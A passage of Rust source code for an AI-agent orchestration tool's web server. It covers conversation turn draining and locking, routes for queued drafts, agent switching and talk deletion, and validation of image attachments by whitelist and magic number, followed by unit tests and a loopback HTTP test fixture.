6167/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
6168/// holder just gave up - see the comment at that call site.
6169///
6170/// The release is folded into the final generation check under `turn`'s own
6171/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
6172/// free". Before its blocking `talk::drain`, this loop observes the queued
6173/// generation. A `say` that sees the turn busy writes its draft, then advances
6174/// that generation. Thus, if it lands while the drain is in flight, the final
6175/// check observes the advance and drains again; otherwise it releases the
6176/// claim while holding the same lock. This keeps the release/arrival handoff
6177/// atomic without holding the global claim mutex across filesystem I/O.
6178async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6179    let live_set = Arc::clone(&turn.turns);
6180    // `Option` rather than binding `turn` directly to a `_turn` that lives
6181    // for the whole function: releasing it has to happen by calling
6182    // `TalkTurnGuard::release` from inside the locked branch below, which
6183    // takes `self` by value. Left as a plain drop instead, `Drop` would still
6184    // remove the id - correctly, if this loop is ever left some other way -
6185    // but doing it there misses the lock this loop is already holding, which
6186    // is the exact gap `release` exists to close.
6187    let mut turn = Some(turn);
6188    loop {
6189        // `talk::drain` takes the store lock and can write/rename the talk
6190        // file. Keep the turn mutex out of that synchronous work: it protects
6191        // every talk's in-memory claim, not this talk's disk operation.
6192        let observed = live_set
6193            .lock()
6194            .unwrap_or_else(PoisonError::into_inner)
6195            .queued
6196            .get(&id)
6197            .copied()
6198            .unwrap_or(0);
6199        let drained = blocking({
6200            let talks = talks.clone();
6201            move || {
6202                let result = talk::drain(&mut talk, &talks);
6203                Ok((talk, result))
6204            }
6205        })
6206        .await;
6207        let (next_talk, result) = match drained {
6208            Ok(drained) => drained,
6209            Err(e) => {
6210                tracing::warn!(
6211                    status = %e.status,
6212                    message = %e.message,
6213                    "talk {id} could not start queued-text drain"
6214                );
6215                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6216                turn.take()
6217                    .expect("held for the whole loop until released here")
6218                    .release(&mut live);
6219                break;
6220            }
6221        };
6222        talk = next_talk;
6223        let drained = match result {
6224            Ok(Some(drained)) => drained,
6225            Ok(None) => {
6226                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6227                if live.queued.get(&id).copied().unwrap_or(0) != observed {
6228                    continue;
6229                }
6230                turn.take()
6231                    .expect("held for the whole loop until released here")
6232                    .release(&mut live);
6233                break;
6234            }
6235            Err(e) => {
6236                tracing::warn!("talk {id} could not drain queued text: {e:#}");
6237                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6238                turn.take()
6239                    .expect("held for the whole loop until released here")
6240                    .release(&mut live);
6241                break;
6242            }
6243        };
6244        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
6245            tracing::warn!("talk {id} turn failed: {e:#}");
6246        }
6247    }
6248}
6249
6250/// Clear a queued draft only if it remains exactly the one the caller saw.
6251async fn talk_pending_clear(
6252    State(ui): State<Arc<Ui>>,
6253    Path(id): Path<String>,
6254    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6255) -> ApiResult<Json<TalkView>> {
6256    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6257    blocking(move || {
6258        let id = resolve_talk(&ui.talks, &id)?;
6259        let mut talk = ui.talks.get(&id)?;
6260        if !talk.status.open() {
6261            return Err(ApiError::conflict(format!(
6262                "talk {} is {} and takes no more turns",
6263                talk.short(),
6264                talk.status.as_str()
6265            )));
6266        }
6267        if !talk::clear_pending_if_matches(
6268            &mut talk,
6269            &ui.talks,
6270            &body.expected_text,
6271            &body.expected_attachments,
6272        )? {
6273            return Err(ApiError::conflict(
6274                "queued message changed; reload it before clearing",
6275            ));
6276        }
6277        let thinking = ui.is_thinking(&talk.id);
6278        Ok(Json(TalkView::new(talk, thinking)))
6279    })
6280    .await
6281}
6282
6283/// Atomically edit a queued draft's text while preserving its attachments.
6284/// The snapshot fields make a concurrent queue or drain a conflict rather
6285/// than silently discarding either message.
6286async fn talk_pending_edit(
6287    State(ui): State<Arc<Ui>>,
6288    Path(id): Path<String>,
6289    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6290) -> ApiResult<Json<TalkView>> {
6291    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6292    let (view, reclaimed) = blocking({
6293        let ui = Arc::clone(&ui);
6294        move || {
6295            let id = resolve_talk(&ui.talks, &id)?;
6296            let mut talk = ui.talks.get(&id)?;
6297            if !talk.status.open() {
6298                return Err(ApiError::conflict(format!(
6299                    "talk {} is {} and takes no more turns",
6300                    talk.short(),
6301                    talk.status.as_str()
6302                )));
6303            }
6304            if !talk::edit_pending_text(
6305                &mut talk,
6306                &ui.talks,
6307                &body.text,
6308                &body.expected_text,
6309                &body.expected_attachments,
6310            )? {
6311                return Err(ApiError::conflict(
6312                    "queued message changed; reload it before editing",
6313                ));
6314            }
6315            let claim = match ui.begin_queued_talk_turn(&id)? {
6316                Some(turn_guard) => {
6317                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6318                    Some((talk.clone(), cfg, id.clone(), turn_guard))
6319                }
6320                None => None,
6321            };
6322            let thinking = ui.is_thinking(&id);
6323            Ok((TalkView::new(talk, thinking), claim))
6324        }
6325    })
6326    .await?;
6327    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6328        let talks = ui.talks.clone();
6329        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6330    }
6331    Ok(Json(view))
6332}
6333
6334/// The body of `POST /api/talks/{id}/agent`.
6335#[derive(Debug, Deserialize)]
6336struct TalkAgent {
6337    agent: String,
6338}
6339
6340/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
6341/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
6342/// start a turn on the old session between the check and the write; one that
6343/// arrives in that window finds the talk busy and becomes a draft.
6344async fn talk_agent(
6345    State(ui): State<Arc<Ui>>,
6346    Path(id): Path<String>,
6347    Json(body): Json<TalkAgent>,
6348) -> ApiResult<Json<TalkView>> {
6349    let id = {
6350        let ui = Arc::clone(&ui);
6351        blocking(move || resolve_talk(&ui.talks, &id)).await?
6352    };
6353    let repo = {
6354        let ui = Arc::clone(&ui);
6355        let id = id.clone();
6356        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6357    };
6358    let cfg = config_for(&repo).await?;
6359    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6360        return Err(ApiError::conflict(
6361            "a talk turn is running; change the agent once it has answered",
6362        ));
6363    };
6364    let switched = {
6365        let ui = Arc::clone(&ui);
6366        let id = id.clone();
6367        let cfg = cfg.clone();
6368        blocking(move || {
6369            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6370                .map_err(ApiError::bad_request_from)?;
6371            let mut talk = ui.talks.get(&id)?;
6372            if !talk.status.open() {
6373                return Err(ApiError::conflict(format!(
6374                    "talk {} is {} and takes no more turns",
6375                    talk.short(),
6376                    talk.status.as_str()
6377                )));
6378            }
6379            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6380            Ok(talk)
6381        })
6382        .await
6383    };
6384    // A `/say` that landed while this held the claim saw the talk busy and
6385    // left a durable draft, trusting the claim's owner to drain it. So the
6386    // claim goes to `drain_loop` whatever the outcome - it releases at once
6387    // when nothing is queued - rather than being dropped here.
6388    let fresh = {
6389        let ui = Arc::clone(&ui);
6390        let id = id.clone();
6391        blocking(move || Ok(ui.talks.get(&id)?)).await
6392    };
6393    let draining = match fresh {
6394        Ok(talk) => {
6395            let draining = talk.status.open()
6396                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6397            let talks = ui.talks.clone();
6398            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6399            draining
6400        }
6401        Err(_) => false,
6402    };
6403    let talk = switched?;
6404    Ok(Json(TalkView::new(talk, draining)))
6405}
6406
6407/// `POST /api/talks/{id}/close`.
6408async fn talk_close(
6409    State(ui): State<Arc<Ui>>,
6410    Path(id): Path<String>,
6411) -> ApiResult<Json<TalkView>> {
6412    blocking(move || {
6413        let id = resolve_talk(&ui.talks, &id)?;
6414        let mut talk = ui.talks.get(&id)?;
6415        talk::close(&mut talk, &ui.talks)?;
6416        let thinking = ui.is_thinking(&talk.id);
6417        Ok(Json(TalkView::new(talk, thinking)))
6418    })
6419    .await
6420}
6421
6422/// `POST /api/talks/{id}/reopen`.
6423async fn talk_reopen(
6424    State(ui): State<Arc<Ui>>,
6425    Path(id): Path<String>,
6426) -> ApiResult<Json<TalkView>> {
6427    blocking(move || {
6428        let id = resolve_talk(&ui.talks, &id)?;
6429        let mut talk = ui.talks.get(&id)?;
6430        talk::reopen(&mut talk, &ui.talks)?;
6431        let thinking = ui.is_thinking(&talk.id);
6432        Ok(Json(TalkView::new(talk, thinking)))
6433    })
6434    .await
6435}
6436
6437/// `DELETE /api/talks/{id}`.
6438///
6439/// Removes the conversation's record and artifacts outright, unlike
6440/// [`talk_close`] which keeps the record as history. A turn already in
6441/// flight is not refused here the way [`run_delete`] refuses a live run:
6442/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
6443/// under [`Talks::guard`], that the record they are about to write back is
6444/// still there, so a delete racing a turn is safe without this route having
6445/// to know a turn is running at all.
6446async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6447    blocking(move || {
6448        let id = resolve_talk(&ui.talks, &id)?;
6449        ui.talks.remove(&id)?;
6450        Ok(StatusCode::NO_CONTENT)
6451    })
6452    .await
6453}
6454
6455/// Expand an id or short id to exactly one talk id.
6456fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6457    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6458}
6459
6460/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
6461/// future `talk-say`.
6462async fn talk_attachment_post(
6463    State(ui): State<Arc<Ui>>,
6464    Path(id): Path<String>,
6465    headers: HeaderMap,
6466    body: Bytes,
6467) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6468    let mime = validate_attachment(&headers, &body)?;
6469    let name = filename_header(&headers);
6470    let data = body.to_vec();
6471    blocking(move || {
6472        let id = resolve_talk(&ui.talks, &id)?;
6473        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6474        Ok((StatusCode::CREATED, Json(att)))
6475    })
6476    .await
6477}
6478
6479/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
6480/// `<img>` tag in the transcript.
6481async fn talk_attachment_get(
6482    State(ui): State<Arc<Ui>>,
6483    Path((id, att)): Path<(String, String)>,
6484) -> ApiResult<Response> {
6485    blocking(move || {
6486        let id = resolve_talk(&ui.talks, &id)?;
6487        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6488            return Err(ApiError::not_found(format!(
6489                "talk {id} has no attachment `{att}`"
6490            )));
6491        };
6492        Ok(attachment_response(&meta.mime, data))
6493    })
6494    .await
6495}
6496
6497/// Validate an attachment upload's declared `Content-Type` and the bytes
6498/// themselves, returning the canonical mime on success.
6499///
6500/// Two checks, both required: the header has to name one of
6501/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
6502/// simply never in the list, active content rather than a picture, the same
6503/// exclusion [`asset_content_type`]'s doc explains), and the file's own
6504/// magic number has to agree. The second is what stops a mislabeled upload -
6505/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
6506/// a declared type is a claim, not a fact, so it is never trusted alone.
6507fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6508    if data.len() > ATTACHMENT_MAX_BYTES {
6509        return Err(ApiError::bad_request(format!(
6510            "attachment is {} bytes, over the {} MiB limit",
6511            data.len(),
6512            ATTACHMENT_MAX_BYTES / (1024 * 1024)
6513        ))
6514        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6515    }
6516    if data.is_empty() {
6517        return Err(ApiError::bad_request("attachment is empty"));
6518    }
6519    let declared = declared_mime(headers)?;
6520    match sniffed_mime(data) {
6521        Some(sniffed) if sniffed == declared => Ok(declared),
6522        Some(sniffed) => Err(ApiError::bad_request(format!(
6523            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6524        ))),
6525        None => Err(ApiError::bad_request(
6526            "the file's bytes do not match any accepted image format",
6527        )),
6528    }
6529}
6530
6531/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
6532/// and nothing else - parameters like `; charset=` are stripped, but the
6533/// value itself is not otherwise interpreted.
6534fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6535    let raw = headers
6536        .get(header::CONTENT_TYPE)
6537        .and_then(|v| v.to_str().ok())
6538        .unwrap_or("")
6539        .split(';')
6540        .next()
6541        .unwrap_or("")
6542        .trim()
6543        .to_ascii_lowercase();
6544    ATTACHMENT_MIME_WHITELIST
6545        .iter()
6546        .find(|&&m| m == raw)
6547        .copied()
6548        .ok_or_else(|| {
6549            if raw == "image/svg+xml" {
6550                ApiError::bad_request(
6551                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
6552                     not just a picture",
6553                )
6554            } else if raw.is_empty() {
6555                ApiError::bad_request("Content-Type is required for an attachment upload")
6556            } else {
6557                ApiError::bad_request(format!(
6558                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6559                     image/gif or image/webp"
6560                ))
6561            }
6562        })
6563}
6564
6565/// Identify an image by its magic number, independent of whatever
6566/// `Content-Type` claimed.
6567fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6568    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6569        Some("image/png")
6570    } else if data.starts_with(b"\xff\xd8\xff") {
6571        Some("image/jpeg")
6572    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6573        Some("image/gif")
6574    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6575        Some("image/webp")
6576    } else {
6577        None
6578    }
6579}
6580
6581/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
6582/// display - see [`talk::Attachment::name`]'s doc on why it never
6583/// contributes to a path. A missing or blank header (curl without it, an
6584/// older front end) falls back to a generic name rather than refusing the
6585/// upload over a field that is cosmetic.
6586fn filename_header(headers: &HeaderMap) -> String {
6587    headers
6588        .get(FILENAME_HEADER)
6589        .and_then(|v| v.to_str().ok())
6590        .map(str::trim)
6591        .filter(|s| !s.is_empty())
6592        .unwrap_or("attachment")
6593        .to_owned()
6594}
6595
6596/// Every attachment `GET` response: the mime re-validated against the same
6597/// closed whitelist the upload route enforces - never the string trusted
6598/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
6599/// cannot decide it knows better than the type we send. Unlike a panel asset
6600/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
6601/// document renders inline, not agent-authored HTML in a sandboxed frame.
6602fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6603    let content_type = ATTACHMENT_MIME_WHITELIST
6604        .iter()
6605        .find(|&&m| m == mime)
6606        .copied()
6607        .unwrap_or("application/octet-stream");
6608    (
6609        [
6610            (header::CONTENT_TYPE, content_type),
6611            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6612        ],
6613        body,
6614    )
6615        .into_response()
6616}
6617
6618/// The configuration for a repository, read off the disk for this request.
6619///
6620/// Through [`blocking`] because discovery reads and merges several TOML files,
6621/// and because the alternative - caching it in [`Ui`] at startup - would mean
6622/// the operator's phone kept interviewing with a roster they had already
6623/// changed, with no way to reload it but restarting the server they are not
6624/// sitting in front of.
6625async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6626    let repo = repo.to_path_buf();
6627    blocking(move || {
6628        let (cfg, _) = Config::discover(&repo, None)?;
6629        Ok(cfg)
6630    })
6631    .await
6632}
6633
6634/// The one prefix rule, used for both runs and tasks: a leading match for a
6635/// full id, a trailing match for the short form an operator reads off a
6636/// report. Written here rather than borrowed from `queue::resolve_id` because
6637/// the UI needs the two failures as different status codes, and telling them
6638/// apart from an error message is not something to build a route on.
6639fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6640    let mut hits = ids
6641        .into_iter()
6642        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6643    match (hits.next(), hits.next()) {
6644        (Some(one), None) => Ok(one),
6645        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6646        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6647            "`{prefix}` matches more than one {what}, including {a} and {b}"
6648        ))),
6649    }
6650}
6651
6652#[cfg(test)]
6653mod tests {
6654
6655    #[test]
6656    fn holder_reads_the_lease_not_the_record() {
6657        let mut q = Question::new(
6658            "run".to_owned(),
6659            "implement".to_owned(),
6660            "impl-A".to_owned(),
6661            "which?".to_owned(),
6662            String::new(),
6663            Vec::new(),
6664        );
6665        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6666        q.cwd = Some("/tmp".to_owned());
6667        assert_eq!(holder_of(&q, None), Some("nobody"));
6668        let beat = |kind, ago: i64| ask::Lease {
6669            kind,
6670            pid: 1,
6671            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6672                .unwrap(),
6673        };
6674        let fresh = beat(ask::WaiterKind::Asker, 1);
6675        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6676        let daemon = beat(ask::WaiterKind::Daemon, 1);
6677        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6678        let stale = beat(ask::WaiterKind::Asker, 3600);
6679        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6680
6681        // A conductor question says "deputy" only while one is attached and
6682        // alive, and "nobody" - never silence - when nothing ever listened.
6683        let mut c = Question::new(
6684            "task".to_owned(),
6685            crate::conduct::NODE.to_owned(),
6686            "conduct".to_owned(),
6687            "which?".to_owned(),
6688            String::new(),
6689            Vec::new(),
6690        );
6691        assert_eq!(holder_of(&c, None), Some("nobody"));
6692        c.cwd = Some("/tmp".to_owned());
6693        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6694        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6695        let deputy = beat(ask::WaiterKind::Deputy, 1);
6696        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6697        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6698
6699        // A release-watch question: nobody until a deputy is attached.
6700        let mut r = Question::new(
6701            String::new(),
6702            crate::bump::NOTICE_NODE.to_owned(),
6703            "release-watch".to_owned(),
6704            "stuck?".to_owned(),
6705            String::new(),
6706            vec!["hold".to_owned()],
6707        );
6708        assert_eq!(holder_of(&r, None), Some("nobody"));
6709        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
6710        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
6711        // A choice-less bump notice is nobody's question at all.
6712        r.deputy = None;
6713        r.seat = "bump".to_owned();
6714        assert_eq!(holder_of(&r, None), None);
6715
6716        // A merge approval is the same: nobody until a deputy is attached
6717        // and alive, never a silent "no holder".
6718        let mut m = Question::new(
6719            "run".to_owned(),
6720            crate::land::APPROVAL_NODE.to_owned(),
6721            "land".to_owned(),
6722            "merge?".to_owned(),
6723            String::new(),
6724            Vec::new(),
6725        );
6726        assert_eq!(holder_of(&m, None), Some("nobody"));
6727        assert_eq!(
6728            holder_of(&m, Some(&fresh)),
6729            Some("nobody"),
6730            "a lease with no deputy is not a listener"
6731        );
6732        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6733        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6734        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6735        assert_eq!(holder_of(&m, None), Some("nobody"));
6736    }
6737
6738    fn stub_config() -> Config {
6739        // An explicit roster, so the result never depends on which agent CLIs
6740        // this machine has installed.
6741        Config {
6742            agents: vec![crate::config::AgentSpec {
6743                id: "stub".to_owned(),
6744                kind: AgentKind::Command,
6745                model: None,
6746                command: vec!["true".to_owned()],
6747                extra_args: Vec::new(),
6748                env: Default::default(),
6749                prompt_delivery: None,
6750            }],
6751            ..Config::default()
6752        }
6753    }
6754
6755    fn plain_question(seat: &str) -> Question {
6756        Question::new(
6757            String::new(),
6758            "n".to_owned(),
6759            seat.to_owned(),
6760            "s".to_owned(),
6761            String::new(),
6762            Vec::new(),
6763        )
6764    }
6765
6766    #[test]
6767    fn deputies_enabled_follows_the_config() {
6768        let on = stub_config();
6769        assert!(crate::deputy::can_start(Some(&on), ""));
6770        assert!(crate::deputy::can_start(Some(&on), "stub"));
6771        let mut off = on.clone();
6772        off.daemon.max_deputies = 0;
6773        assert!(!crate::deputy::can_start(Some(&off), ""));
6774        let mut empty = on;
6775        empty.agents.clear();
6776        assert!(!crate::deputy::can_start(Some(&empty), ""));
6777        assert!(!crate::deputy::can_start(None, ""));
6778    }
6779
6780    #[test]
6781    fn question_views_load_the_config_once() {
6782        let dir = TempDir::new().unwrap();
6783        let store = ask::Questions::at(dir.path().to_path_buf());
6784        let mut with_deputy = plain_question("b");
6785        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
6786        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
6787
6788        let calls = std::cell::Cell::new(0usize);
6789        let views = question_views(qs.clone(), &store, || {
6790            calls.set(calls.get() + 1);
6791            Some(stub_config())
6792        });
6793        assert_eq!(calls.get(), 1);
6794        assert_eq!(views.len(), 3);
6795        for (v, q) in views.iter().zip(&qs) {
6796            assert_eq!(
6797                v.deputies_enabled,
6798                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
6799            );
6800        }
6801
6802        let views = question_views(qs, &store, || None);
6803        assert!(views.iter().all(|v| !v.deputies_enabled));
6804
6805        let calls = std::cell::Cell::new(0usize);
6806        let views = question_views(Vec::new(), &store, || {
6807            calls.set(calls.get() + 1);
6808            None
6809        });
6810        assert!(views.is_empty());
6811        assert_eq!(calls.get(), 0);
6812    }
6813
6814    use pretty_assertions::assert_eq;
6815    use serde_json::Value;
6816    use tempfile::TempDir;
6817    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6818
6819    use super::*;
6820    use crate::config::Config;
6821    use crate::queue::Source;
6822
6823    /// How many 10ms steps a settle loop takes before it calls a stall a
6824    /// stall - thirty seconds.
6825    ///
6826    /// These loops wait on real `sh` subprocesses, and the machine that runs
6827    /// the gate runs several suites at once, so a two-second budget was not
6828    /// waiting for the reply, it was racing the scheduler: two of these
6829    /// tests failed under that load with the turn simply not landed yet.
6830    /// This is a hang guard, not a latency assertion - every loop breaks the
6831    /// moment its condition holds, so a generous cap costs an idle machine
6832    /// nothing and still fails a genuine hang instead of hanging the suite.
6833    const SETTLE_STEPS: usize = 3_000;
6834
6835    /// A home with a queue and a runs directory, and a router serving it on
6836    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
6837    /// dependency, not ours - so the tests drive a real socket, which has the
6838    /// side benefit of asserting the status line and content types the phone
6839    /// actually receives.
6840    struct Fixture {
6841        home: TempDir,
6842        addr: SocketAddr,
6843    }
6844
6845    impl Fixture {
6846        async fn start() -> Self {
6847            Self::with_loop(launch_idle).await
6848        }
6849
6850        /// A fixture whose loop is `launch`.
6851        async fn with_loop(launch: Launch) -> Self {
6852            let home = TempDir::new().expect("temp home");
6853            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6854            Self { home, addr }
6855        }
6856
6857        /// A fixture whose `ui.repo` is a real directory rather than the
6858        /// usual placeholder - for the routes that read config off it
6859        /// (`GET /api/repos`) and would otherwise have nothing to discover.
6860        async fn with_repo(repo: PathBuf) -> Self {
6861            let home = TempDir::new().expect("temp home");
6862            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
6863            Self { home, addr }
6864        }
6865
6866        /// As [`Fixture::with_repo`], with the machine-config file the
6867        /// settings screen reads and writes.
6868        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
6869            let home = TempDir::new().expect("temp home");
6870            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
6871            Self { home, addr }
6872        }
6873
6874        async fn serve(
6875            home: &FsPath,
6876            repo: PathBuf,
6877            launch: Launch,
6878            machine: Option<PathBuf>,
6879        ) -> SocketAddr {
6880            let queue = Queue::at(home.join("queue"));
6881            let runs = home.join("runs");
6882            std::fs::create_dir_all(&runs).expect("runs dir");
6883            let worktrees = home.join("wt").join("magi");
6884            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
6885            let ui = Ui::new(
6886                queue,
6887                Questions::at(home.join("questions")),
6888                Talks::at(home.join("talks")),
6889                runs,
6890                home.to_path_buf(),
6891                repo,
6892            )
6893            .with_worktrees_root(worktrees)
6894            .with_machine_config(machine)
6895            .with_launch(launch);
6896            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6897                .await
6898                .expect("bind loopback");
6899            let addr = listener.local_addr().expect("local addr");
6900            tokio::spawn(async move {
6901                let _ = axum::serve(listener, ui.router()).await;
6902            });
6903            addr
6904        }
6905
6906        fn queue(&self) -> Queue {
6907            Queue::at(self.home.path().join("queue"))
6908        }
6909
6910        fn questions(&self) -> Questions {
6911            Questions::at(self.home.path().join("questions"))
6912        }
6913
6914        fn talks(&self) -> Talks {
6915            Talks::at(self.home.path().join("talks"))
6916        }
6917
6918        fn runs(&self) -> PathBuf {
6919            self.home.path().join("runs")
6920        }
6921
6922        async fn get(&self, path: &str) -> Res {
6923            request(self.addr, "GET", path, None).await
6924        }
6925
6926        /// The status and headers without the body, which is how the front end
6927        /// preflights a panel: a sandboxed frame is opaque to the parent
6928        /// document, so the only way to tell "no panel" from "a panel that
6929        /// rendered blank" is to ask before mounting.
6930        async fn head(&self, path: &str) -> Res {
6931            request(self.addr, "HEAD", path, None).await
6932        }
6933
6934        async fn post(&self, path: &str, body: Option<&str>) -> Res {
6935            request(self.addr, "POST", path, body).await
6936        }
6937
6938        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
6939            request_with(self.addr, "GET", path, None, extra).await
6940        }
6941
6942        async fn delete(&self, path: &str) -> Res {
6943            request(self.addr, "DELETE", path, None).await
6944        }
6945
6946        async fn put(&self, path: &str, body: &str) -> Res {
6947            request(self.addr, "PUT", path, Some(body)).await
6948        }
6949
6950        /// `POST` a raw body with its own headers - see [`request_bytes`].
6951        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
6952            request_bytes(self.addr, path, headers, body).await
6953        }
6954    }
6955
6956    struct Res {
6957        status: u16,
6958        headers: String,
6959        /// The header block with its original casing, for the assertions that
6960        /// compare a header *value* rather than looking for a name. Lowercasing
6961        /// a CSP would hide a directive spelled with a capital letter, and the
6962        /// whole point of that test is that the string is exactly right.
6963        head: String,
6964        body: String,
6965        /// The body before any UTF-8 handling, for the routes that serve
6966        /// something other than text. A panel asset is a PNG as often as not,
6967        /// and `from_utf8_lossy` would silently replace half of it.
6968        bytes: Vec<u8>,
6969    }
6970
6971    impl Res {
6972        fn json(&self) -> Value {
6973            serde_json::from_str(&self.body)
6974                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
6975        }
6976
6977        /// One header's value verbatim, or `None` when it was not sent.
6978        fn header(&self, name: &str) -> Option<&str> {
6979            self.head.lines().find_map(|line| {
6980                let (key, value) = line.split_once(':')?;
6981                key.trim()
6982                    .eq_ignore_ascii_case(name)
6983                    .then(|| value.trim_start().trim_end_matches('\r'))
6984            })
6985        }
6986    }
6987
6988    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
6989    /// be read to end-of-stream without parsing framing.
6990    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
6991        request_with(addr, method, path, body, &[]).await
6992    }
6993
6994    /// As [`request`], with extra request headers - conditional GETs need
6995    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
6996    /// worse than one that sets none.
6997    async fn request_with(
6998        addr: SocketAddr,
6999        method: &str,
7000        path: &str,
7001        body: Option<&str>,
7002        extra: &[(&str, &str)],
7003    ) -> Res {
7004        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7005        for (name, value) in extra {
7006            head.push_str(&format!("{name}: {value}\r\n"));
7007        }
7008        if let Some(body) = body {
7009            head.push_str("Content-Type: application/json\r\n");
7010            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7011        }
7012        head.push_str("\r\n");
7013        if let Some(body) = body {
7014            head.push_str(body);
7015        }
7016        let mut socket = tokio::net::TcpStream::connect(addr)
7017            .await
7018            .expect("connect to the test server");
7019        socket
7020            .write_all(head.as_bytes())
7021            .await
7022            .expect("write request");
7023        let mut raw = Vec::new();
7024        socket.read_to_end(&mut raw).await.expect("read response");
7025        // Split on the raw bytes rather than on a lossy string, so a binary
7026        // body survives to be compared byte for byte.
7027        let split = raw
7028            .windows(4)
7029            .position(|w| w == b"\r\n\r\n")
7030            .expect("a header block");
7031        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7032        let bytes = raw[split + 4..].to_vec();
7033        let status = head
7034            .lines()
7035            .next()
7036            .and_then(|line| line.split_whitespace().nth(1))
7037            .and_then(|code| code.parse().ok())
7038            .expect("a status line");
7039        Res {
7040            status,
7041            headers: head.to_lowercase(),
7042            head,
7043            body: String::from_utf8_lossy(&bytes).into_owned(),
7044            bytes,
7045        }
7046    }
7047
7048    /// A `POST` carrying a raw binary body and its own headers, for the
7049    /// attachment upload route - `request_with` only ever sends
7050    /// `Content-Type: application/json`, which is wrong for an image and
7051    /// would corrupt anything not valid UTF-8 by round-tripping it through
7052    /// `&str` first.
7053    async fn request_bytes(
